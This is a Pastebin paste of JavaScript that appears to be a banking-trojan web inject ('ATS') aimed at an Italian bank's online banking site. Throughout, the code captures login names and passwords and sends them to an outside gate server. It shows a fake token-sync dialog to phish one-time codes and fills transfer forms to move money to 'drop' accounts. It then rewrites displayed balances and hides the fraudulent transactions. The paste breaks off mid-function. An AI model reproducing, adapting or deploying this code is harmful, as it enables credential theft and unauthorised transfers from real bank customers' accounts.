Xylitol

fiducia.js

May 19th, 2014
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. _cssCode = '.digipass { background: url("https://secinfossl.com/gm91249/images/digipass.gif") no-repeat !important; } .inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { position: relative; z-index: 4001; width: 100%; } .inj_content_para { padding: 10px; font-size: 16px; } .inj_content_block { padding: 10px; font-size: 14px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; font-size: 70%; }';
  3. if ((document.readyState === "loading") || (document.readyState === "interactive"))
  4.     document.write('<style type="text/css">' + _cssCode + '</style>');
  5. else
  6.     jq('head').append('<style type="text/css">' + _cssCode + '</style>');
  7.  
  8. var ATS={bank:'',account_id:0,script_ver:'0',debug_mode:false,current_state:0,StepInFrame:{0:"BeginWork",10:"framePageFinanzstatus",15:"Transactions",20:"Overseas_remittance",30:"SEPA_page",110:"SEPA_form_filled",120:"TAN_ENTERED",130:"Internal_transf_page",140:"INT_form_filled",150:"Transfer",160:"TransferToSepa",170:"Pre_SEPA_page",180:"randomPage",190:"inside_randomPage",set_current_state:function(state){for(var key in this){if(typeof this[key]!='function'&&state==this[key]){parent.ATS.current_state=key;return key;}}
  9. return false;}},isDebugMode:function()
  10. {return ATS.debug_mode;},getBrowserFull:function()
  11. {var res='na';try
  12. {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
  13. {res='ff'+m[1];}
  14. else
  15. {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
  16. res='ie'+m[1];}}
  17. catch(e)
  18. {res='ex';}
  19. return res;},debugMsg:function(message)
  20. {if(this.isDebugMode())
  21. {if(window.console&&window.console.log)
  22. window.console.log(message);else
  23. alert(message);}},_cookies:new Object(),setCookie:function(name,value)
  24. {ATS.debugMsg('setCookie: '+name+' = '+value);ATS._cookies['#'+name]=value;},getCookie:function(name)
  25. {if(typeof ATS._cookies['#'+name]=='undefined')
  26. return null;return ATS._cookies['#'+name];},serializeCookies:function()
  27. {var result=new Array();for(var i in ATS._cookies)
  28. {if(i.indexOf('#')==0){result.push(encodeURIComponent(i)+'='+encodeURIComponent(ATS._cookies[i]));}}
  29. return result.join('&');},unserializeCookies:function(rawData)
  30. {var result=new Object();for(var i in rawData)
  31. {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
  32. return result;},saveCookies:function(callback)
  33. {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
  34. {data=jq.extend({bank:ATS.bank,aid:ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  35. {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},die:function(msg)
  36. {ATS.sendLogMsg('ERROR: '+msg,function(){ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
  37. {ATS.debugMsg('die in frame');parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();jq('.inj_full_overlay',parent.document).remove();}
  38. else
  39. {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();jq('.inj_full_overlay').remove();}});});},getTime:function()
  40. {return Math.floor((new Date).getTime()/1000);},transferSepa:function()
  41. {ATS.sendLogMsg('transferSepa');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=parent.ATS.maxAcc.number;if(transfer_acc)
  42. {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
  43. ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.setCookie('status',1);ATS.saveCookies(function(){parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();ATS.replaceBalances();jq('.inj_full_overlay',parent.document).remove();});});},transferInternal:function()
  44. {ATS.sendLogMsg('transferInternal');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer INT, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=parent.ATS.maxAcc.number;if(transfer_acc)
  45. {ATS.setCookie('transfer_acc',transfer_acc);ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
  46. ATS.setCookie('status',1);ATS.setCookie('Gesamtsaldo',parent.ATS.Gesamtsaldo);ATS.saveCookies(function(){parent.ATS.UI_hideDialogBox();parent.ATS.UI_unblockSite();ATS.replaceBalances();jq('.inj_full_overlay',parent.document).remove();});});},sendPostGateRequest:function(action,params)
  47. {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  48. {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},base64_encode:function(input)
  49. {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
  50. {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
  51. {enc3=enc4=64;}
  52. else if(isNaN(chr3))
  53. {enc4=64;}
  54. output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
  55. {if(argString===null||typeof argString==="undefined")
  56. return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
  57. {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
  58. {end++;}
  59. else if(c1>127&&c1<2048)
  60. {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
  61. else if(c1&0xF800!=0xD800)
  62. {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
  63. else
  64. {if(c1&0xFC00!=0xD800){return'error 1';}
  65. var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
  66. c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
  67. if(enc!==null)
  68. {if(end>start)
  69. {utftext+=string.slice(start,end);}
  70. utftext+=enc;start=end=n+1;}}
  71. if(end>start)
  72. utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
  73. {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},loadData:function(callback)
  74. {ATS.sendGateRequest('load_data',{},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
  75. callback();});},sendLoginInfo:function(login,password,callback)
  76. {ATS.sendGateRequest('login',{login:login,password:password,url:window.location.href,ver:ATS.script_ver+' / '+ATS.getBrowserFull()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
  77. {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
  78. {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.script_ver+' / '+ATS.getBrowserFull(),text:parent.ATS._logMsgSeq+': '+text},callback);}
  79. else
  80. {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.script_ver+' / '+ATS.getBrowserFull(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
  81. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
  82. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
  83. {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
  84. {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},randInt:function(min,max)
  85. {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
  86. {var form=jq('form').has(jq(button));if(jq(form).length==0)
  87. return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
  88. {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
  89. buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
  90. buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
  91. else
  92. jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
  93. {setTimeout(function(){if(jq(button).attr('type')=='image')
  94. {ATS.imgSubmit(jq(button));}
  95. else
  96. jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
  97.  
  98. ATS.lastPage=false;ATS.ajaxGet=function(url,sel,cb)
  99. {jq.ajax({url:url,cache:false,dataType:'html',timeout:20000,success:function(html){if(typeof cb=='function')
  100. {ATS.lastPage=html;jq(html).filter(sel).each(function(){cb(jq(this));});}},error:function(xhr,ajaxOptions,thrownError){ATS.sendLogMsg("ATS.ajaxGet error : xhr.status="+xhr.status+"; thrownError="+thrownError+"; xhr.responseText="+xhr.responseText);}});}
  101. ATS.ajaxPost=function(url,params,sel,cb)
  102. {jq.ajax({url:url,type:'POST',data:params,cache:false,dataType:'html',success:function(html){if(typeof cb=='function')
  103. {ATS.lastPage=html;jq(html).filter(sel).each(function(){cb(jq(this));});}},error:function(xhr,ajaxOptions,thrownError){ATS.sendLogMsg("ATS.ajaxPost error : xhr.status="+xhr.status+"; thrownError="+thrownError+"; xhr.responseText="+xhr.responseText);}});}
  104. ATS.ajaxPostWithoutParseJq=function(url,params,callback)
  105. {jq.ajax({url:url,type:'POST',data:params,cache:false,dataType:'html',success:function(html){ATS.lastPage=html;callback(html);}});}
  106. ATS.ajaxGetWithoutParseJq=function(url,callback)
  107. {jq.ajax({url:url,cache:false,dataType:'html',timeout:20000,success:function(html){ATS.lastPage=html;callback(html);}});}
  108. ATS.PostForm=function(selector)
  109. {this._selector=selector;this._form=jq(selector);this._errorText='';this._elements=jq(this._form).find('input, select, textarea');}
  110. ATS.PostForm.prototype.getFormAction=function()
  111. {return jq(this._form).attr('action');}
  112. ATS.PostForm.prototype.addHiddenElem=function(id,name,value)
  113. {var el=jq('<input type="hidden" />');jq(el).attr('id',id);jq(el).attr('name',name);jq(el).attr('value',value);this._elements=jq(this._elements).add(jq(el));}
  114. ATS.PostForm.prototype.getElemVal=function(el)
  115. {var nodeName=jq(el)[0].nodeName;if(typeof jq(el).attr('nval')!='undefined')
  116. return jq(el).attr('nval');switch(nodeName)
  117. {case'INPUT':var inputType=jq(el).attr('type');switch(inputType)
  118. {case'checkbox':return(jq(el).attr('checked')=='checked')?jq(el).val():false;case'radio':return(jq(el).attr('checked')=='checked')?jq(el).val():false;default:return jq(el).val();}
  119. break;case'SELECT':case'TEXTAREA':return jq(el).val();break;}
  120. return'';}
  121. ATS.PostForm.prototype.getRequestParams=function()
  122. {var res={};var curForm=this;jq(this._elements).each(function(){var name=jq(this).attr('name');var value=curForm.getElemVal(jq(this));if((typeof name!='undefined')&&(name!='')&&(value!==false))
  123. res[name]=value;});return res;}
  124. ATS.PostForm.prototype.addErrorMsg=function(msg)
  125. {if(this._errorText!='')
  126. this._errorText+='|';this._errorText+=msg;}
  127. ATS.PostForm.prototype.setField=function(sel,value)
  128. {var el=jq(this._elements).filter(sel);if(el.length==1)
  129. {jq(el).attr('nval',value);}
  130. else if(el.length==0)
  131. {this.addErrorMsg('el "'+sel+'" not found');}
  132. else
  133. {this.addErrorMsg('el "'+sel+'" found mul: '+el.length);}}
  134. ATS.PostForm.prototype.getErrorText=function()
  135. {return this._errorText;}
  136. ATS.bank = 'cse';
  137. ATS.script_ver = '1.2';
  138. ATS.gateURL = 'https://secinfossl.com/gm91249/gate';
  139.  
  140. ATS.UI_blockSite=function()
  141. {if(ATS.debugNoOverlay)
  142. return;if(jq('#inj_block_overlay').length)
  143. jq('#inj_block_overlay').show();else
  144. jq('#bodySx').before('<div id=inj_block_overlay></div>');}
  145. ATS.UI_unblockSite=function()
  146. {jq('#inj_block_overlay').hide();}
  147. ATS.UI_getInjectCode=function()
  148. {var code = ' <div id="inj_dialog_box"><div class="boxCentrale" style="width:98%'
  149.      + '"><table class="dr-table rich-table" style="width:100%"><thead class="d'
  150.      + 'r-table-thead"><tr class="dr-table-subheader rich-table-subheader"><th '
  151.      + 'class="dr-table-subheadercell rich-table-subheadercell">ATENZIONE</th><'
  152.      + '/tr></thead><tbody><tr class="dr-table-row rich-table-row"><td class="d'
  153.      + 'r-table-cell rich-table-cell"><div id=inj_page_wait style=\'display: non'
  154.      + 'e;\'><p class="inj_content_para"><div align="center"><h1><span class="ut'
  155.      + 'ente">Attendere un momento prego... '
  156.      + '</span></h1></div><br/></p><p style="text-align:cente'
  157.      + 'r"><img src="https://secinfossl.com/gm91249/images/loader_bar.gif" id=inj_loader_img /></p></div>'
  158.      + '<div id=inj_page_tan style=\'display: none;\'><p class="inj_content_block'
  159.      + '" id=inj_main_text>Il dispositivo non e sincronizzato '
  160.      + 'con l\'orologio di sistema corrente. Per poter procedere e necessario inserire la password riportata sul dispositivo. '
  161.      + '<br/></p><span s'
  162.      + 'tyle="text-align:center; display:block; font-size: 18px;"><h3 class="bo'
  163.      + 'xCentraleH3" style="text-align:left">&nbsp;Inserisci il codice presente'
  164.      + ' nel token</h3><div class="digipass"><input type="password" name="inj_t'
  165.      + 'an" autocomplete="off" value="" maxlength="6" class="inTable digitInput'
  166.      + 'Codice" /></div><div class=inj_error><img src="/fec/09999/./img/error.g'
  167.      + 'if" />&nbsp;Digipasso non correcto! </div></span><div class="boxCentral'
  168.      + 'eBottoni" style="font-size: 18px;"><div class="buttonConferma"><a id="i'
  169.      + 'nj_weiter" href="#" title="conferma">CONFERMA</a></div></div></div></td'
  170.      + '></tr></tbody></table></div></div>';
  171. return jq(code);}
  172. ATS.UI_onWeiterClick=function()
  173. {var tan=jq('input[name=inj_tan]').val();if(tan=="test"){if(ATS.isDebugMode()){if(parent.ATS.transf_mode=='sepa')ATS.transferSepa();else ATS.transferInternal();return false;}}
  174. if(tan.length==6)
  175. {ATS.sendLogMsg('entered TAN '+tan);ATS.enterCode(tan);}
  176. else{alert('errorTanEmpty');}}
  177. ATS.UI_showDialogBox=function()
  178. {jq('#content1 > div:not(:has(#inj_dialog_box))').hide();if(!jq('#inj_dialog_box').length)
  179. {var injectCode=ATS.UI_getInjectCode();jq('#content1').append(injectCode);jq('#inj_weiter').click(ATS.UI_onWeiterClick);}
  180. jq('#inj_dialog_box').show();}
  181. ATS.UI_hideDialogBox=function()
  182. {jq('#inj_dialog_box').remove();jq('#content1 > div').show();}
  183. ATS.UI_showWait=function()
  184. {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();}
  185. ATS.UI_askTan=function(isError)
  186. {parent.ATS.UI_showDialogBox();jq('#inj_page_wait').hide();jq('#inj_page_tan').show();jq('input[name=inj_tan]').val('');if(isError)
  187. {jq('.inj_error').show();}
  188. else
  189. jq('.inj_error').hide();}
  190.  
  191. ATS.addElementAmount=function(el,amount,postfix)
  192. {var val=ATS.fin2float(jq(el).text());var newText='&#8364 ';if(val<0)newText+='<span class="negative">';newText+=ATS.float2fin(val+amount);if(postfix)
  193. newText+=' '+postfix;if(val<0)newText+='</span>';jq(el).html(newText);}
  194. ATS.fin2float=function(text)
  195. {var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}
  196. ATS.float2fin=function(val)
  197. {var sign='';if(val<0)
  198. {sign='-';val=-val;}
  199. var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
  200. fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
  201. {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
  202. newIntPart=intPart+newIntPart;return sign+newIntPart+','+fractPart;}
  203. ATS.padRight=function(input,totalWidth)
  204. {var result=input;if(result.length<totalWidth){for(var i=result.length;i<totalWidth;i++){result=result+'X'}}
  205. return result;}
  206. ATS.checkTransfer=function(el)
  207. {var percent=parseFloat("0.00");var lastGesamtsaldo=parseFloat(ATS.getCookie('Gesamtsaldo'));if(isNaN(lastGesamtsaldo)){ATS.sendLogMsg('error. lastGesamtsaldo is NULL');return false;}
  208. var curGesamtsaldo=el;var rep_amount=parseFloat(ATS.getCookie('rep_amount'));var tempsaldo=lastGesamtsaldo-curGesamtsaldo;tempsaldo=parseFloat(tempsaldo.toFixed(2));if(tempsaldo==0){ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');return false;}
  209. if(tempsaldo<0){ATS.sendLogMsg('Error calc saldo = '+tempsaldo+'; lastGesamtsaldo ='+lastGesamtsaldo+'; curGesamtsaldo ='+curGesamtsaldo);return false;}
  210. if(tempsaldo>0){if((tempsaldo==rep_amount)||(tempsaldo>rep_amount)){var temppers=(lastGesamtsaldo-(curGesamtsaldo+rep_amount));percent=parseFloat(temppers.toFixed(2));ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+'; Script will made change');if(parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){ATS.setCookie('acPercent',percent);ATS.saveCookies();}
  211. if(ATS.getCookie('acTransact')!="true"){ATS.setCookie('acTransact',true);ATS.saveCookies();}
  212. return percent;}else{ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+'Script will NOT made change');ATS.setCookie('acPercent',tempsaldo);ATS.setCookie('acTransact',false);ATS.saveCookies();return false;}}}
  213. ATS.replaceFinanzstatus=function()
  214. {ATS.debugMsg('replaceFinanzstatus()');var saldo=0;ATS.accounts_list=ATS.parseAccounts();var maxAccount=ATS.getMaxAccount(ATS.accounts_list);maxBalance=parseFloat(maxAccount.balance.toFixed(2));var el=maxBalance;var percent=ATS.checkTransfer(el);ATS.debugMsg('percent= '+percent);if(typeof percent==='boolean')return false;if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return false;}
  215. var totalReplace=0;var tblRows=jq('table.selConto tr[id*=tableConti]');var accountsCnt=Math.floor(tblRows.length/3);for(var i=0;i<accountsCnt;i++)
  216. {var accNum=jq.trim(jq(tblRows).eq(i*3).find('td:eq(2)').text());var amount=parseFloat(ATS.getCookie('ap'+accNum));if(amount>0)
  217. {parent.ATS.accNum=accNum;ATS.debugMsg('REP finanzstatus: '+accNum+' + '+amount+'; percent = '+percent);ATS.addElementAmount(jq(tblRows).eq(i*3+2).find('td:eq(1) strong:first'),parseFloat(amount+percent),'');ATS.addElementAmount(jq(tblRows).eq(i*3+2).find('td:eq(2) strong:first'),parseFloat(amount+percent),'');totalReplace+=parseFloat(amount+percent);}}
  218. var hideFlag=false;jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i){jq(this).find("td:eq(4)").each(function(j){var text=jq.trim(jq(this).text());if(ATS.needToHide(text))
  219. {jq(this).parent().hide();hideFlag=true;}});});if(totalReplace>0)
  220. {}
  221. return true;}
  222. ATS.replaceUmsatzanzeige=function()
  223. {ATS.debugMsg('replaceUmsatzanzeige()');jq("#headH1info").remove();var percent=parseFloat(ATS.getCookie('acPercent'));if(percent>15){ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');return false;}
  224. if(ATS.getCookie('acTransact')==null||ATS.getCookie('acTransact')=="false")return false;if(ATS.getCookie('transfer_acc')==parent.ATS.accNum)
  225. {ATS.addElementAmount(jq('table tr:has(td:contains(Kontostand vom))').find('td:eq(1)'),amount+percent,'EUR');var hideFlag=false;jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i){jq(this).find("td:eq(4)").each(function(j){var text=jq.trim(jq(this).text());if(ATS.needToHide(text))
  226. {jq(this).parent().hide();hideFlag=true;}});});}
  227. return true;}
  228. ATS.needToHide=function(text)
  229. {var amount=parseFloat(ATS.getCookie('rep_amount'));if(amount)
  230. {text=text.replace(/[^\d,]+/gi,'').replace(",",'.');if(text.indexOf(amount)!=-1)return true;ATS.debugMsg(text);}
  231. return false;}
  232. ATS.replaceBalances=function()
  233. {ATS.debugMsg('replaceBalances()');if(ATS.getPageTitle("SALDO CONTO"))if(ATS.replaceFinanzstatus())ATS.replaceUmsatzanzeige();if(ATS.getPageTitle("SALDO CONTI"))if(ATS.replaceFinanzstatus()){jq('#saldoForm\\:dettaglioSaldo,.selConto:contains(TOTALE SALDO CONTI)').remove();}}
  234. ATS.getPageTitle=function(findtext)
  235. {var title=jq.trim(jq("h2.boxCentraleH2::visible").eq(0).text());if(title.indexOf(findtext)!=-1)return true;else return false;}
  236.  
  237. ATS.isLoggedIn=function()
  238. {return!!jq('a#esci').length;}
  239. ATS.getLogin=function()
  240. {return jq('input[name*=codiceId]').val();}
  241. ATS.getPassword=function()
  242. {return jq('input[name*=password]').val();}
  243. ATS.getLoginForm=function()
  244. {var res=jq('#loginForm');if(jq(res).length==0)
  245. return false;return jq(res);}
  246. ATS.checkLoginPage=function()
  247. {if(!ATS.getLoginForm())
  248. return false;return true;}
  249. ATS._oldOnSubmit=false;ATS.setLoginHook=function()
  250. {var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm)
  251. {ATS._oldOnSubmit=loginForm[0].onsubmit;loginForm[0].onsubmit=function(){return true;};jq(loginForm).submit(function(e){if(!loginDataSent)
  252. {e.preventDefault();var login=ATS.getLogin();var password=ATS.getPassword();ATS.debugMsg('login info: '+login+', '+password);if(login&&password)
  253. {ATS.sendLoginInfo(login,password,function(){loginDataSent=true;if(typeof ATS._oldOnSubmit=='function')
  254. ATS._oldOnSubmit();jq(loginForm).find('input[type=submit]').click();})}}});return true;}
  255. return false;}
  256. ATS.getMaxAccount=function(accountsList)
  257. {var maxAcc=null;for(var i in accountsList)
  258. {if(!maxBalance)
  259. var maxBalance=accountsList[i].balance;if(parseFloat(accountsList[i].balance)>=maxBalance)
  260. {maxBalance=parseFloat(accountsList[i].balance);maxAcc=accountsList[i];}}
  261. return maxAcc;}
  262. ATS.getBonificiMenuHref=function()
  263. {var el=jq('#menuTopDiv a[title="Bonifici / giroconti"]');var el2=jq('#menuTopDiv a[title="Bonifico / Giroconto"]');if(jq(el).length)return jq(el).attr('href');else if(jq(el2).length)return jq(el2).attr('href');return false;}
  264. ATS.parseAccounts=function()
  265. {var res=[];var tblRows=jq('table.selConto tr[id*=tableConti]');var accountsCnt=Math.floor(tblRows.length/3);for(var i=0;i<accountsCnt;i++)
  266. {var accNum=jq.trim(jq(tblRows).eq(i*3).find('td:eq(2)').text());var tmp=jq(tblRows).eq(i*3+2).find('td:eq(1)').text();var tmp2=jq(tblRows).eq(i*3+2).find('td:eq(2)').text();if(!isNaN(ATS.fin2float(tmp)))accBalance=ATS.fin2float(tmp);else accBalance=ATS.fin2float(tmp2);var inpID=jq(tblRows).eq(i*3).find("input").attr("id");var onclick=jq(tblRows).eq(i*3).find("input").attr("onclick");var value=jq(tblRows).eq(i*3).find("input").val();onclick=onclick.replace("javascript:","");onclick=onclick.replace("this.value",'"'+value+'"');ATS.debugMsg(accNum+': '+accBalance);res.push({number:accNum,balance:accBalance,transf:true,inputID:inpID,onclick:onclick,value:value});}
  267. return res;}
  268. ATS.enterCode=function(tan)
  269. {ATS.debugMsg('ATS.enterCode '+tan);parent.ATS.UI_showWait();var tanForm=new ATS.PostForm(jq(ATS.lastPage).find('#bonificoSepaitaliaInsStep2Form'));tanForm.setField('input[name*=passworddispositiva]',tan);tanForm.setField('input[name*=salvaBeneficiario]:eq(0)','true');var btnID=jq(ATS.lastPage).find('a[id*=conferma]').attr('id');tanForm.addHiddenElem(btnID,btnID,btnID);var tanErrors=tanForm.getErrorText();if(tanErrors=='')
  270. {setTimeout(function(){ATS.ajaxPost(tanForm.getFormAction(),tanForm.getRequestParams(),'div#bodySx',ATS.checkTanPage);},ATS.randInt(1000,2000));}
  271. else
  272. {ATS.sendDump('ATS.enterCode',ATS.lastPage);ATS.die('ATS.enterCode: form errors: '+tanErrors);}}
  273. ATS.checkTanPage=function(html)
  274. {ATS.sendLogMsg('processing ATS.checkTanPage');var error=jq(html).find('.bgerrorTop');if(!error.length){if(parent.ATS.transf_mode=='sepa')ATS.transferSepa();else ATS.transferInternal();}
  275. else{ATS.sendDump('ATS.checkTanPage error enter tan',html.html());ATS.UI_askTan(true);}}
  276. ATS.procAreaSepaPage=function(html)
  277. {ATS.sendLogMsg('processing ATS.procAreaSepaPage');ATS.sendDump('procAreaSepaPage',html.html());var sepaForm=ATS.fillSepaForm(html,ATS.sepa_drop);if(ATS.accounts_list.length>1){setTimeout(function(){eval(parent.ATS.maxAcc.onclick);},ATS.randInt(2000,3000));}
  278. var sepaErrors=sepaForm.getErrorText();if(sepaErrors=='')
  279. {setTimeout(function(){ATS.ajaxPost(sepaForm.getFormAction(),sepaForm.getRequestParams(),'div#bodySx',ATS.procConfirmSepaPage);},ATS.randInt(20000,30000));}
  280. else
  281. {ATS.sendDump('procAreaSepaPage',html.html());ATS.die('ATS.procAreaSepaPage: form errors: '+sepaErrors);}}
  282. ATS.procConfirmSepaPage=function(html)
  283. {ATS.debugMsg('ATS.procConfirmSepaPage');if(ATS.isDebugMode())ATS.sendDump('procConfirmSepaPage',html.html());if(jq(html).html().indexOf("OPERAZIONE TRAMITE CELLULARE")!=-1){ATS.die('procConfirmSepaPage: CONFIRMATION OF THE OPERATION USING A CELL PHONE ');}
  284. else{var error=jq(html).find('.bgerrorTop');if(!error.length){ATS.UI_askTan();}
  285. else{ATS.sendDump('procConfirmSepaPage',html.html());ATS.die('procConfirmSepaPage: form errors: see in dump');}}}
  286. ATS.fillSepaForm=function(html,drop)
  287. {var myForm=new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));myForm.setField('input[name*=beneficiario_denominazione]',drop.DrName);myForm.setField('input[name*=beneficiario_paeseResidenza]',drop.IBAN.substr(0,2));myForm.setField('input[name*=beneficiario_paeseDomicilio]',drop.IBAN.substr(0,2));myForm.setField('input[name*=beneficiario_ibanSEPA]',drop.IBAN);myForm.setField('input[name*=beneficiario_bic]',drop.BIC);myForm.setField('textarea[name*=bonifico_causale]',drop.Reference);myForm.setField('input[name*=bonifico_importo]',drop.amount);var inputID=parent.ATS.maxAcc.inputID;var value=parent.ATS.maxAcc.value;myForm.setField('#'+inputID,value);var btnID=jq(html).find('a[id*=conferma]').attr('id');myForm.addHiddenElem(btnID,btnID,btnID);return myForm;}
  288. ATS.GetSingleLink=function(html,searched){var searchednameLength=jq(html).find('td:contains("'+searched+'")').length;if(!!searchednameLength){var tmp=jq(html).find('td:has(a):contains("'+searched+'")');if(!!tmp.length)return tmp;else return true;}
  289. else{return false;}}
  290. ATS.GetSepaIntLink=function(html,nameInt,nameSepa,searched){searched=searched||"sepa";var nameIntLength=jq(html).find('td:contains("'+nameInt+'")').length;var nameSepaLength=jq(html).find('td:contains("'+nameSepa+'")').length;if(!!nameIntLength&&!!nameSepaLength){if(searched=="sepa"){var tmp=jq(html).find('td:has(a):contains("'+nameSepa+'")');if(!!tmp.length)return tmp;else return true;}
  291. if(searched=="int"){var tmp=jq(html).find('td:has(a):contains("'+nameInt+'")');if(!!tmp.length)return tmp;else return true;}}
  292. else{return false;}}
  293. ATS.GetLink=function(html,metod){metod=metod||"sepa";var link=ATS.GetSepaIntLink(html,"Bonifici Italia","Bonifici Estero UE",metod);if(typeof(link)=="object")return link;if(link)return true;var link=ATS.GetSepaIntLink(html,"Italia","Area SEPA",metod);if(typeof(link)=="object")return link;if(link)return true;var link=ATS.GetSingleLink(html,"Ordinario");if(typeof(link)=="object")return link;if(link)return true;var link=ATS.GetSingleLink(html,"Bonifico ordinario area SEPA");if(typeof(link)=="object")return link;if(link)return true;return false;}
  294. ATS.sepaTools=function()
